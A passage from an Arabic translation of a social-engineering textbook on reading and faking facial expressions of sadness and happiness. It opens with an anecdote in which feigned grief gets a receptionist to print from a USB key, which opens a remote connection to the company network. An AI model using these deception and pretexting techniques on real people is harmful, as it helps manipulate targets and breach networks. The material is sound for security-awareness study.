‫"أوه‪ ،‬ھذا أﻣر ﻓظﯾﻊ‪ .‬ﻣﺎ اﻟذي ﯾﻣﻛﻧﻧﻲ اﻟﻘﯾﺎم ﺑﮫ ﻟﻠﻣﺳﺎﻋدة؟"‬
‫"ﻟدي ﺳﯾره ذاﺗﯾﺔ ﻋﻠﻰ ‪ USB‬ﺧﺎص ﺑﻲ‪ .‬ھل ﯾﻣﻛﻧك طﺑﺎﻋﺔ ﻧﺳﺧﺔ واﺣدة ﻟﻲ ﻓﻘط‪ ،‬ﻣن ﻓﺿﻠك؟ " ﺛم ﻗﻣت ﺑﺈظﮭﺎر اﻟﺣزن اﻟﺣﻘﯾﻘﻲ ﻋﻠﻰ وﺟﮭﻲ‬
‫وأﻧﺎ أﺳﻠﻣﮫ ﻣﻔﺗﺎح ‪.USB‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪841‬‬

‫وﺑﻌد ﻟﺣظﺎت ﺗم طﺑﺎﻋﺔ واﺣدة‪ ،‬وﺗﻠﻘﯾت رﺳﺎﻟﺔ ﻧﺻﯾﺔ ﻣن ﺷرﯾﻛﻲ ﺗﻘول "اﻧﮫ ﺗم اﻻﺗﺻﺎل"‪ .‬ﺛم ﻗﺎل ﻟﻲ رﺟل اﻻﻣن‪" :‬ﻣﺎ اﺳﻣك؟ أﺳﺗطﯾﻊ ان أﺧﺑر‬
‫اﻟﺳﯾدة ﺟوﻧز إﻧك ھﻧﺎ"‪.‬‬
‫"ﺑول وﻟﯾﺎﻣز‪ .‬ﻟدي ﻣوﻋد اﻟﺳﺎﻋﺔ ‪ 11:00‬ﻣﻊ ‪.XYZ‬‬
‫"أوه‪ ،‬ﺣﺑﯾﺑﻲ‪ ،‬اﻧت ﺗواﺟﮫ ﯾوﻣﺎ ﺳﯾﺋﺎ‪ .‬ھذا ھو ‪ ABC. XYZ‬ﻓﻲ اﻟﺑﺎب اﻟﺗﺎﻟﻰ"‪.‬‬
‫"أﻧﺎ أﺷﻌر ﺑﺎﻟﺣرج ﺟدا! ﻟﻘد ﻛﻧت ﻣﻔﯾدا ﺟدا‪ ،‬ﻣﻧﻘذي‪ .‬اﻧﺎ ﺳوف اذھب وﻟن اﻛون ﻣﺗﺄﺧرا‪ .‬ﺷﻛرا" ‪.‬‬
‫ﻛﻧت ﺧﺎرج اﻟﺑﺎب ﻣﻊ اﺑﺗﺳﺎﻣﺔ‪ ،‬ﺷﻌور ﺟﯾد‪ ،‬ﻣﻊ اﺗﺻﺎل ﻋن ﺑﻌد إﻟﻰ ﺷﺑﻛﺔ اﻟﺷرﻛﺔ‪.‬‬
‫ﻛﺎﻧت ﺗﻌﺑﯾرات اﻟوﺟﮫ اﻟﺳﺑب اﻟوﺣﯾد ﻓﻲ اﻟﻧﺟﺎح؟ ﻻ‪ ،‬ﻟﯾس ﻋﻠﻰ اﻹطﻼق‪ ،‬وﻟﻛن ﺗﻌﺑﯾراﺗﻲ أﺿﺎﻓت وزن وﻣﺻداﻗﯾﺔ إﻟﻰ ﻗﺻﺗﻲ‪ .‬إذا ﺗم ﺑﻧﺟﺎح‪،‬‬
‫ھذا اﻟﺗﻌﺑﯾر ﯾﻣﻛن أن ﯾﺟﻌل اﻟﺷﺧص اﻟذي ﺗﺷﺎھده ﯾﺷﻌر ﺑﺎﻟﺣزن اﻟﺗﻌﺎطف‪ ،‬واﻟﺗراﺣم‪.‬‬
‫اﺣذر ﻋﻧد اﺳﺗﺧدام ھذا اﻟﺗﻌﺑﯾر ﺣﯾث أﻧﮫ ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﻋﻧدﻣﺎ ﻧﺷﻌر ﺑﺎﻟﺗوﺗر‪ ،‬ﻓﻧﺣن ﯾﻣﻛن أن ﻧظﮭر اﻟﺣزن أو اﻟﺧوف‪ .‬ﻓﺈذا ﻛﺎﻧت اﻟذرﯾﻌﺔ‬
‫اﻟﺧﺎﺻﺔ ﺑك ھو أﻧك واﺛﻖ‪ ،‬ﻣطﻣﺋن‪ ،‬وﻋﻠﻰ اﺳﺗﻌداد ﻟﻠﻌﻣل‪ ،‬وﻟﻛﻧك ﺗظﮭر ﺷﻌور اﻟﺣزن‪ ،‬ھذا ﯾﻣﻛن إرﺳﺎل رﺳﺎﺋل ﻣﺧﺗﻠطﺔ‪ .‬ﻛن ﺣذرا ﺣول‬
‫ﺗﺳرب ﺗﻌﺑﯾرات وﺟﮭك‪.‬‬
‫اﻟﺣزن ھﻲ اﻟﻌﺎطﻔﺔ اﻟﺳﺎﺣﻘﺔ واﻟﻘوﯾﺔ‪ .‬اﻟﺣزن ھو واﺣد ﻣن ﺗﻠك اﻟﻣﺷﺎﻋر اﻟﺗﻲ ﻗد ﻧﺷﻌر ﺑﮭﺎ ﻋﻧدﻣﺎ ﻧرى اﻵﺧرﯾن ﯾﻌﺑرون ﻋن ھذه اﻟﻣﺷﺎﻋر‪.‬‬
‫ﺑﻌض اﻟﻧﺎس ﯾﻣﻛن أن ﺗﺷﻌر ﺑﺎﻟﺣزن ﻓﻘط ﻣن ﺧﻼل رؤﯾﺔ اﻵﺧرﯾن اﻟذﯾن ھم ﻓﻲ ﺣﺎﻟﺔ ﺣزن‪ ،‬ﺣﺗﻰ إﻟﻰ درﺟﺔ اﻟﺑﻛﺎء‪.‬‬
‫اﻟﺗﻔﺻﯾل‪:‬‬
‫اﻟﺣزن ﺗﻌﺑﯾر وﺟﮫ ﻣﻌﻘد ﻣﻊ اﻟﻌدﯾد ﻣن اﻟﻣﻛوﻧﺎت‪ .‬ﻓﮭم ﻛﯾﻔﯾﺔ ﻗراءة‪ ،‬وإﻋﺎدة إﻧﺷﺎء‪ ،‬وﻋرض ﺗﻌﺑﯾرات اﻟوﺟﮫ ھذه ھﻲ اﻟﻘدرة اﻟﻘوﯾﺔ ﻷي ﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﯾﺗﻛون اﻟﺣزن ﻣﻣﺎ ﯾﻠﻲ‪:‬‬
‫‪ -‬اﻟﻔم ﯾﻛون ﻣﻔﺗوح أو ﻣﻐﻠﻖ وﻟﻛن ﻓﻲ ﻛﻼ اﻟﺣﺎﻟﺗﯾن ﯾﺗم ﺳﺣب زواﯾﺎ اﻟﺷﻔﺎه ﻷﺳﻔل‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬
‫‪ -‬ﺣﺎﻓظ ﻋﻠﻰ وﺿﻊ اﻟﺷﻔﺎه اﻟﺧﺎص ﺑك ﻋﻠﻰ ھذا اﻟﻣوﻗف ﻓﻲ ﺣﯾن ﺗﻘوم ﺑرﻓﻊ ﺧدﯾك‪ ،‬ﻛﻣﺎ ﻟو ﻛﻧت ﺗﺣدق‪.‬‬

‫ﻋﻧدﻣﺎ ﺗﻘوم ﺑﺎﻟﺣﻔﺎظ ﻋﻠﻰ ھذا اﻟﺗوﺗر‪ ،‬ﻓﺎﻧظر إﻟﻰ أﺳﻔل واﺳﻣﺢ ﻟﻠﺟﻔون اﻟﻌﻠوﯾﺔ ﺑﺎﻟﺗدﻟﻲ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬ ‫‪-‬‬

‫‪ -‬ﺛﻣﺔ ﺟﺎﻧب آﺧر ﻓﻲ ھذه اﻟﺻور ھو أن اﻟرأس ﺗﻛون ﻣﻧﺧﻔﺿﮫ ﻣﻊ ﺟﺑﯾن ﻣﺗوﺗر‪ ،‬وﺧﻠﻖ ﺑﻌض اﻟﺗﺟﺎﻋﯾد اﻟﻣﻌزوﻟﺔ ھﻧﺎك‪ ،‬ﻛﻣﺎ ﻓﻲ اﻟﺷﻛل‬
‫اﻟﺳﺎﺑﻖ‪.‬‬
‫‪ -‬أﯾﺿﺎ‪ ،‬ﻻﺣظ أن ﻓﻲ اﻟﺗﻌﺑﯾرات اﻟﻛﻼﺳﯾﻛﯾﺔ ﻓﻲ اﻟﺣزن‪ ،‬اﻟزواﯾﺎ اﻟداﺧﻠﯾﺔ ﻣن اﻟﺣﺎﺟﺑﯾن ﯾﺧرﺟﺎ ﻣﻌﺎ‪ ،‬وﯾﺷﻛﻼ ﺣرف "‪ "V‬ﻣﻘﻠوب )اﻧظر‬
‫اﻟﺷﻛل اﻟﺳﺎﺑﻖ(‪ .‬ﯾﻼﺣظ اﻟدﻛﺗور أﯾﻛﻣن أن ﻗﻠﺔ ﻣن اﻟﻧﺎس ﯾﻣﻛن ﺗوﺟﯾﮫ ھذا اﻟﻣزﯾﺞ ﻣن ﺣرﻛﺎت ‪ AU‬ﻋﻣدا‪ .‬اﻟدﻛﺗور ﺑول ﻛﯾﻠﻲ ﻻﺣظ أن‬
‫أوﻟﺋك اﻟذﯾن ﯾﻛوﻧوا ﻣن اﻟﻣﺣﺗﻣل اﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻵﺧرﯾن ﺑﺷﻛل إﯾﺟﺎﺑﻲ ﻓﻲ إﺛﺎرة اﻟﺗﻌﺎطف‪.‬‬
‫ﻓﻲ اﻟﺣزن اﻟﺷدﯾد ﯾﻣﻛﻧﻧﺎ أن ﻧرى ﻓﺗﺢ اﻟﻔم أﻛﺛر وﺗﺣول اﻟﺷﻔﺎه اﻟﻰ أﺳﻔل‪ .‬ﻓﻲ اﻟﺣزن اﻟﺧﻔﯾف‪ ،‬ﺗرى زواﯾﺎ اﻟﻔم ﻣﻧﺧﻔﺿﮫ‪.‬‬
‫ﺟﺎﻧب واﺣد ﻣن اﻟﺻﻌب ﺟدا ﻓﻲ اﻟﺣزن ھو اﻟﺳﯾطرة ﻋﻠﻰ اﻟﺣﺎﺟﺑﯾن‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ .‬ﻓﻲ ﺑﻌض اﻟﺣﺎﻻت ﻣن اﻟﺣزن ﺗرى ﻣﺎ‬
‫ﯾﻠﻲ‪:‬‬
‫‪ -‬اﻟزواﯾﺎ اﻟداﺧﻠﯾﺔ ﻣن اﻟﺣﺎﺟﺑﯾن ﺗرﺗﻔﻊ‪ ،‬وﻟﯾس اﻟﺣﺎﺟب ﺑﺄﻛﻣﻠﮫ‪.‬‬
‫‪ -‬ﯾﺗم ﺳﺣب اﻟﺣواﺟب ﺻﻌودا وﻣﻌﺎ ﻓﻲ اﻟوﺳط‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪842‬‬

‫ﻋﯾون ﻻ ﺗزال ﻣﺗدﻟﯾﮫ‪.‬‬ ‫‪-‬‬

‫ﻧﺗوء اﻟﻌﺑوس ﻓﻲ اﻟﻣﻧطﻘﺔ ﻓﻲ وﺳط اﻟﺷﻔﺔ اﻟﺳﻔﻠﻰ‪.‬‬ ‫‪-‬‬

‫اﻟﺣﺎﺟﺑﯾن وﺣدھﻣﺎ ﯾﻣﻛﻧﮭﻣﺎ إﻧﺷﺎء اﺗﺻﺎل ﻣن اﻟﺣزن أو اﻟﺗﻌﺎطف‪ .‬ھذه ﻣﮭﺎرة ﺻﻌﺑﺔ اﻹﺗﻘﺎن‪ .‬ﻗد ﺻرح اﻟدﻛﺗور أﯾﻛﻣن أن اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس ﻻ‬
‫ﺗﺳﺗطﯾﻊ ان ﺗﻔﻌل ذﻟك دون اﻟﺷﻌور ﺑﺎﻟﺣزن اﻟﺣﻘﯾﻘﻲ‪ .‬اﻟﻣﻣﺎرﺳﺔ ﯾﻣﻛن أن ﺗﺟﻌل ھذا ﺟﯾدا )وﺻﻠﺔ ﺗﻌﺎطف(‪.‬‬
‫ﺟﺎﻧب آﺧر ﻣن اﻟﺣزن اﻟذي ﯾﺟﻌل ﻣن اﻟﻌﺎطﻔﺔ ﻣذھﻠﺔ ھو أﻻ ﯾﻛون ذﻟك داﺋﻣﺎ ﻟﻌرض اﻟﻌذاب أو اﻟﺣزن اﻟﺷدﯾد‪ .‬اﻟﺣزن ﯾﻣﻛن أن ﯾﻛون دﻗﯾﻖ‬
‫ﺟدا‪ .‬ﯾﻣﻛن أﯾﺿﺎ ﻋرض اﻟﺣزن ﻓﻲ واﺣدة ﻣن ﺟزء ﻣن اﻟوﺟﮫ ﻓﻘط‪ .‬اﻟﻧﺎس ﻗد ﯾﺣﺎوﻟون إﺧﻔﺎء اﻟﺣزن ﺑﺎﺳﺗﺧدام اﺑﺗﺳﺎﻣﺔ ﻣزﯾﻔﺔ أو ﻣﺎ أﺳﻣﯾﮫ‬
‫"ﻋﯾون رواﻗﻲ‪ "،‬ﺣﯾث اﻟﺗﺣدﯾﻖ إﻟﻰ اﻷﻣﺎم ﻣﺑﺎﺷرة‪ ،‬ﺗﻘرﯾﺑﺎ ﻓﻲ ﺣﺎﻟﺔ ذھول‪ ،‬وﻟﻛن ﯾﻣﻛن أن أﻗول ﻟﻛم اﻧﮭم ﯾﺣﺎوﻟون اﻟﺳﯾطرة ﻋﻠﻰ اﻟﻌﺎطﻔﺔ اﻟﺗﻲ‬
‫ﯾﺷﻌرون ﺑﮭﺎ‪ .‬ﻓﻧﻠﻘﻲ ﻧظرة ﻋﻠﻰ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ .‬ﻓﻲ ھذه اﻟﺣﺎﻟﺔ ﯾﻣﻛﻧك ﻣﺷﺎھدة ﻣﺛﺎل ﻋن اﻟﺣزن ﻋﻧدﻣﺎ ﺗﻐطﻲ ﻧﺻف اﻟوﺟﮭﺔ‪ .‬ھذه اﻟﻣرأة ﯾظﮭر‬
‫ﻋﻼﻣﺎت واﺿﺣﺔ ﻣن اﻟﺣزن اﻟذي ﯾﻣﻛن أن ﺗﻛون ﻻﺣظت ﻋﻠﻰ اﻟرﻏم ﻣن وﺟﮭﮭﺎ ﻣﻐطﻰ‪ .‬ﻻﺣظ ﺗﺟﻌد ﺟﺑﯾﻧﮭﺎ ﻗﻠﯾﻼ وﻛذﻟك إﺳﻘﺎط اﻟﺟﻔون‬
‫وﯾﻣﻛﻧك ان ﺗرى زواﯾﺎ ﻓﻣﮭﺎ ﻧﺣو اﻻﻧﺧﻔﺎض‪.‬‬

‫اﻟﻌﯾون ھﻲ واﺣدة ﻣن أﻓﺿل اﻟﻣؤﺷرات ﻟﻘراءة اﻟﺣزن‪ .‬وﻛﺛﯾرا ﻣﺎ ﯾﺧﻠط ﻓﻲ اﻟﺗﻌﺑﯾر ﺑﯾن اﻟﺗﻌب وﻏﯾرھﺎ ﻣن اﻟﻣﺷﺎﻋر اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺳﺑب‬
‫ﺣرﻛﺎت ﻋﯾن ﻣﻣﺎﺛﻠﺔ‪ .‬ﯾﻣﻛن رﺑط ﻟﻐﺔ اﻟﺟﺳد ﻣﻊ ﻣﺎ ﯾﻘرأ ﻋﻠﻰ اﻟوﺟﮫ أﯾﺿﺎ ﻟﯾﺳﺎﻋد ﻋﻠﻰ ﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن ھذا ﺣزن أم ﻋﺎطﻔﺔ آﺧر‪.‬‬
‫ھذا ﯾﻣﻛن أن ﯾﻛون ﺻﺣﯾﺣﺎ ﺧﺎﺻﺔ إذا ﻛﻧت ﺗﺗﻌﺎﻣل ﻣﻊ اﻟﺛﻘﺎﻓﺎت اﻷﺧرى‪ .‬وﻻ ﺳﯾﻣﺎ ﻓﻲ اﻟﺛﻘﺎﻓﺎت ﺣﯾث اﻟﻛﺛﯾر ﻣن اﻟوﺟﮫ ﺗﻐطﯾﮭﺎ اﻟﻣﻼﺑس‪ .‬ﻓﻲ‬
‫اﻟﻌدﯾد ﻣن اﻟﺛﻘﺎﻓﺎت ﻓﻲ اﻟﺷرق اﻷوﺳط ﺣﯾث ﺗﻐطﻲ اﻟﻣرأة اﻟﻛﺛﯾر ﻣن وﺟوھﮭﺎ‪ ،‬ﻗد ﺗﻛون ﻗﺎدرا ﻋﻠﻰ رؤﯾﺔ ﻋﯾون اﻷﺷﺧﺎص ﻓﻘط‪ .‬ﻓﻲ ھذه‬
‫اﻟﺣﺎﻻت ﺳﯾﻛون ﻣن اﻟﻣﮭم ﻟﻠﻐﺎﯾﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أﯾﺿﺎ اﺳﺗﺧدام ﻟﻐﺔ اﻟﺟﺳد ﻟﺗﺣدﯾد إذا ﻣﺎ ﻛﺎن ھذا اﻟﺣزن اﻟﺣﻘﯾﻘﻲ‪.‬‬
‫ﻛﺛﯾرا ﻣﺎ ﯾﺳﺗﺧدم اﻟﺣزن ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻷﻧﮭﺎ ﯾﻣﻛن أن ﺗؤدي إﻟﻰ ﺟﻌل اﻟﻧﺎس ﻋﻠﻰ اﺗﺧﺎذ إﺟراء ﻣﺛل اﻟﺗﺑرع ﺑﺎﻟﻣﺎل أو ﻧﻌطﯾﮫ‬
‫اﻟﻣﻌﻠوﻣﺎت‪ .‬رﺑﻣﺎ رأﯾﺗم ذﻟك ﺣﯾث اﺳﺗﺧداﻣﺎﺗﮭﺎ اﻻﻋﻼﻧﺎت اﻟﺗﻠﻔزﯾوﻧﯾﺔ ﻋﻧدﻣﺎ ﯾظﮭر اﻻطﻔﺎل اﻟﻣﺣروﻣﯾن ﺟدا‪ .‬ﯾﻣﻛن ھؤﻻء اﻷطﻔﺎل ﯾﻌﺎﻧون ﻣن‬
‫ﺳوء اﻟﺗﻐذﯾﺔ واﻟﻔﻘر اﻟﻣﻧﻛوب‪ ،‬وﻋﻠﻰ ﻣﺎ ﯾﺑدو ﻏﯾر ﻣﺣﺑوب‪ ،‬وﻟﻛن ﻟﻣﺟرد ﺗﺑرع ﺻﻐﯾر ﯾﻣﻛﻧك أن ﺗﺟﻠب اﺑﺗﺳﺎﻣﺔ ﻋﻠﻰ وﺟﮫ اﻟطﻔل‪ .‬ﻓﺈن اﻟﺻورة‬
‫اﻟﺣزﯾﻧﺔ‪ ،‬واﻟﺑﻛﺎء‪ ،‬واﻷطﻔﺎل اﻟﮭزال ﺳوف ﯾﺳﺣب ﻗﻠوب اﻟﻧﺎس‪ .‬أﻧﺎ ﻻ أﻗﺗرح أن ھذه اﻹﻋﻼﻧﺎت ھﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺿﺎرة‪ ،‬ﻓﻘط أﻧﮭم‬
‫ﯾﺳﺗﺧدﻣون اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ إﻟﻰ ﺣد ﻣﺎ‪ ،‬ﺑﺎﺳﺗﺧدام اﻟزﻧﺎد اﻟﻌﺎطﻔﻲ ﻟﻠﺣﺻول ﻋﻠﻰ رد ﻓﻌل ﻣن اﻟﮭدف‪.‬‬
‫ﻟﻸﺳف‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم ھذا اﻟزﻧﺎد اﻟﻌﺎطﻔﻲ ﻟﻠﺣﺻول ﻋﻠﻰ اﻷﺷﯾﺎء ﻣن أھداﻓﮫ‪ .‬ﻣﺛﻼ ﻋن طرﯾﻖ ﺧﻠط ﻗﺻﺔ‬
‫ﺣزﯾﻧﺔ ﻣﻊ ﺑﻌض ﺗﻌﺎﺑﯾر اﻟوﺟﮫ اﻟﺣزﯾﻧﺔ‪ ،‬ﯾﺻﺑﺢ ﻗﺎدرا ﻋﻠﻰ اﻟﺗﻌﺎﻣل ﻣﻊ ﻣﺷﺎﻋر اﻟﻣﺣﯾطﯾن ﺑﮫ‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪843‬‬

‫اﻟﺴﻌﺎدة )‪(Happiness‬‬
‫ﺷﯾﺋﺎ واﺣدا ﺗﻌﻠﻣﺗﮫ ﻣن اﻟدﻛﺗور أﯾﻛﻣن واﻟﺗﻲ أﺛر ﻋﻣﯾﻘﺎ ﻓﻲ أن ﺣرﻛﺎت اﻟﻌﺿﻼت ﻓﻲ ‪ microexpressions‬ھﻲ رد ﻓﻌل ﻋﻠﻰ اﺳﺗﺟﺎﺑﺎت‬
‫ﻋﺻﺑﯾﺔ ﻟﻣﺣﻔزات ﻋﺎطﻔﯾﺔ‪ .‬إﻻ أن اﻟﻌﻛس ﺻﺣﯾﺢ أﯾﺿﺎ‪ .‬إذا ﻗﻣت ﺑﻌﻣل ﺗﻌﺎﺑﯾر اﻟوﺟﮫ ﻋن ﻗﺻد‪ ،‬ﯾﻣﻛﻧﻧﻲ إﻧﺷﺎء اﺳﺗﺟﺎﺑﺔ ﻋﺻﺑﯾﺔ واﻻﻧﻔﻌﺎل‪.‬‬
‫ھذا ھو اﻟﺳﺑب اﻟذي ﺟﻌﻠﻧﻲ اﺧﺗﺎر ﻹﻧﮭﺎء ھذا اﻟﻔﺻل ﻣﻊ ﻋﺎطﻔﺔ اﻟﺳﻌﺎدة‪ .‬آﻣل أﻧﮫ ﻣﻊ اﻻﻧﺗﮭﺎء ﻣن ھذا اﻟﻔﺻل ﺳﯾﻛون ﻟدﯾك اﺑﺗﺳﺎﻣﺔ ﻋﻠﻰ‬
‫وﺟﮭك‪.‬‬
‫اﻻﺑﺗﺳﺎﻣﺔ‪ ،‬ﺗرﺗﺑط ﺑﺎﻟﺳﻌﺎدة اﻟﺣﻘﯾﻘﯾﺔ‪ ،‬ھﻲ أداة ﻗوﯾﺔ‪ .‬اﻟﺳﻌﺎدة ھﻲ اﻟﻌﺎطﻔﺔ اﻷﻛﺛر اﻟﻣﻌﺗرف ﺑﮭﺎ ﺑﺳﮭوﻟﺔ‪ .‬رﺑﻣﺎ ﺗﺑﺗﺳم اﻵن‪ ،‬ﻣﺟرد ﻗراءة ھذه‬
‫اﻟﻛﻠﻣﺎت‪ .‬ﯾﻣﻛﻧك ان ﺗرى ﻧﻔﺳك ﯾﺑﺗﺳم ﻋﻧدﻣﺎ ﺗﻧظر إﻟﻰ طﻔل ﯾﺿﺣك؟ ﻻ ﺗﺟد أﻧﮫ ﻣن اﻟﻣﺛﯾر ﻛﯾف‪ ،‬ﻋﻧدﻣﺎ ﺗﺳﻣﻊ اﻟﻧﺎس اﻵﺧرﯾن ﯾﺿﺣﻛون‪،‬‬
‫ﯾﺟﻌﻠك ﺗﺿﺣك أو ﻋﻠﻰ اﻷﻗل ﺗﺷﻌر ﺑﺎﻟﺳﻌﺎدة؟‬
‫ﻣﺷﻐﻼت اﻟﺳﻌﺎدة ھﻲ وﺳﯾﻠﺔ ﻗوﯾﺔ‪ .‬وﺑﺳﺑب ھذا ﯾﺟب أن ﺗﻌﻠم اﻟﻔرق ﺑﯾن اﻻﺑﺗﺳﺎﻣﺔ اﻟﺣﻘﯾﻘﯾﺔ واﻟوھﻣﯾﺔ وھذا ﻣﮭم ﺟدا‪.‬‬
‫اﻻﺑﺗﺳﺎﻣﺔ اﻟوھﻣﯾﺔ ھﻲ ﺟﺎﻧب ﻣﮭم ﻣن ﺗﻌﺑﯾرات اﻹﻧﺳﺎن إﻟﻰ ﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ اﻟﻘراءة‪ ،‬وﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ اﻹﻧﺗﺎج‪.‬‬
‫ﻛﺎن ھﻧﺎك وﻗت ﻣﺿﻰ ﺣﯾث اﺟﺗﻣﻌت ﻣﻊ ﺷﺧص ﻛﺎن ﻟطﯾﻔﺎ ﺟدا وﻟﻛن ﺑﻌد ﻣﻔﺗرق اﻟطرق ﻓﺎن زوﺟﺗك أو ﻧﻔﺳك ﻛﺎﻧت ﺗﻘول "‪ ،‬أن ھذا اﻟرﺟل‬
‫ﻣزﯾف ‪"...‬؟‬
‫ﻓﻲ ﻋﺎم ‪ 1862‬طﺑﯾب ﯾدﻋﻰ ﻏﯾوم ﺑﻧﯾﺎﻣﯾن‪-‬آﻣﺎن دوﺷﯾن ﻗﺎم ﺑﺑﻌض اﻟﺑﺣوث اﻟراﺋﻌﺔ ﻋن اﻻﺑﺗﺳﺎم ﺣﯾث ﻛﺗب آﻟﯾﺔ ھﯾﺋﺔ‪/‬ﺳﺣﻧﺔ اﻹﻧﺳﺎن‬
‫)‪ ،(Mechanism of Human Physiognomy‬وھﻲ ﻋﺑﺎرة ﻋن ﺳﻠﺳﻠﺔ ﻣن اﻻﺧﺗﺑﺎرات اﻟذي ﻛﺎن ﯾﻘوم ﺑﮭﺎ ﻓﻲ ﺟﻣﯾﻊ أﻧﺣﺎء ﻓرﻧﺳﺎ‪ .‬ﻗﺎم‬
‫ﺑﺈرﻓﺎق أﻗطﺎب اﻹﻟﻛﺗروﻧﯾﺔ ﻟوﺟﮫ رﺟل وﺗﺣرﯾك ﻧﻔس اﺳﺗﺟﺎﺑﺔ "اﻟﻌﺿﻼت" ﻓﻲ اﻟوﺟﮫ ﻓﻲ ﺣﺎﻟﺔ اﻻﺑﺗﺳﺎﻣﺔ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻟرﺟل ﻛﺎن‬
‫ﯾﺳﺗﺧدم ﺟﻣﯾﻊ ﻋﺿﻼﺗﮫ اﻟﻣﻧﺎﺳﺑﺔ ﻟﯾﺑﺗﺳم‪ ،‬دي ﺑوﻟون ﺣدد ان ﻣظﮭر اﻟرﺟل ﻛﺎن ﻻ ﯾزال ﯾﻌرض "اﺑﺗﺳﺎﻣﺔ ﻣزﯾﻔﺔ"‪ .‬ﻟﻣﺎذا؟‬
‫ﻗدم ﺑﺣﺛﮫ إﻟﻰ ظﮭور ﻣﺻطﻠﺢ "اﺑﺗﺳﺎﻣﺔ دوﺷﯾن )‪ "(Duchenne smile‬ﻋﻧدﻣﺎ ﯾﺑﺗﺳم اﻟﺷﺧص ﻓﻲ اﻟﺣﻘﯾﻘﺔ‪ ،‬ﺣﯾث ﯾﺗﻣﯾز ھذا ﻣن ﺧﻼل رﻓﻊ‬
‫زواﯾﺎ اﻟﻔم‪ ،‬اﻟﺗﻲ ﺗﺳﯾطر ﻋﻠﯾﮭﺎ اﻟﻌﺿﻼت ‪ ،zygomatic major muscles‬ورﻓﻊ اﻟﺧدود‪ ،‬اﻟﺗﻲ ﺗﻧﺗﺞ أﻗدام اﻟﻐراب ﻓﻲ زواﯾﺎ اﻟﻌﯾن‪ ،‬واﻟﺗﻲ ﺗﺳﯾطر‬
‫ﻋﻠﯾﮭﺎ ‪) orbicularis oculi‬اﻟﻌﺿﻼت ﺣول اﻟﻌﯾﻧﯾن( واﻟﺗﻲ ﻻ ﯾﻣﻛﻧﮭﺎ أن ﺗﻌﻣل ارادﯾﺎ وھذا ھو ﻣﺎ ﯾﻔﺻل اﻻﺑﺗﺳﺎﻣﺔ اﻟﺣﻘﯾﻘﯾﺔ ﻋن اﻻﺑﺗﺳﺎﻣﺔ‬
‫اﻟﻣزﯾﻔﺔ‪ .‬أﻧظر اﻟﻰ اﻟﻔﺎرق ﻓﻲ اﻟﺻورﺗﯾن اﻟﺗﺎﻟﯾﺗﯾن‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪844‬‬

‫اﻟدﻛﺗور أﯾﻛﻣن ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺷﯾر إﻟﻰ اﻻﺑﺗﺳﺎﻣﺔ اﻟﺻﺎدﻗﺔ ﻣﻘﺎﺑل اﻻﺑﺗﺳﺎﻣﺔ اﻟﻣﮭذﺑﺔ‪ .‬ﻓﻲ اﻻﺑﺗﺳﺎﻣﺔ ﺻﺎدﻗﺔ‪ ،‬ﻛﻣﺎ ھو ﻣوﺿﺢ ﻓﻲ اﻟﺷﻛل اﻻول‪ ،‬ﯾﻣﻛﻧﻧﺎ‬
‫أن ﻧرى أن ﻓم وﻋﯾن ﺳﯾﻠﯾﻧﺎ ﯾﺷﺎرﻛﺎن ﻓﻲ ھذه اﻻﺑﺗﺳﺎﻣﺔ‪ .‬اﻟﺗﺟﺎﻋﯾد ﻓﻲ اﻟزواﯾﺎ اﻟﺧﺎرﺟﯾﺔ ﻟﻠﻌﯾﻧﯾن‪ ،‬ﺗﺳﻣﻰ أﺣﯾﺎﻧﺎ "أﻗدام اﻟﻐرﺑﺎن"‪ ،‬وھﻲ ﺳﻣﺔ ﻣن‬
‫ﺳﻣﺎت اﻻﺑﺗﺳﺎﻣﺔ اﻟﺻﺎدﻗﺔ‪ .‬ﻓﻲ اﻟواﻗﻊ‪ ،‬ﯾﻣﻛﻧك ان ﺗرى اﻟﺳﻌﺎدة ﻓﻲ ﻋﯾﻧﯾﮭﺎ ﺣﺗﻰ ﻟو ﻛﻧت ﻻ ﺗﺳﺗطﯾﻊ رؤﯾﺔ ﻓﻣﮭﺎ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ھﻧﺎك‬
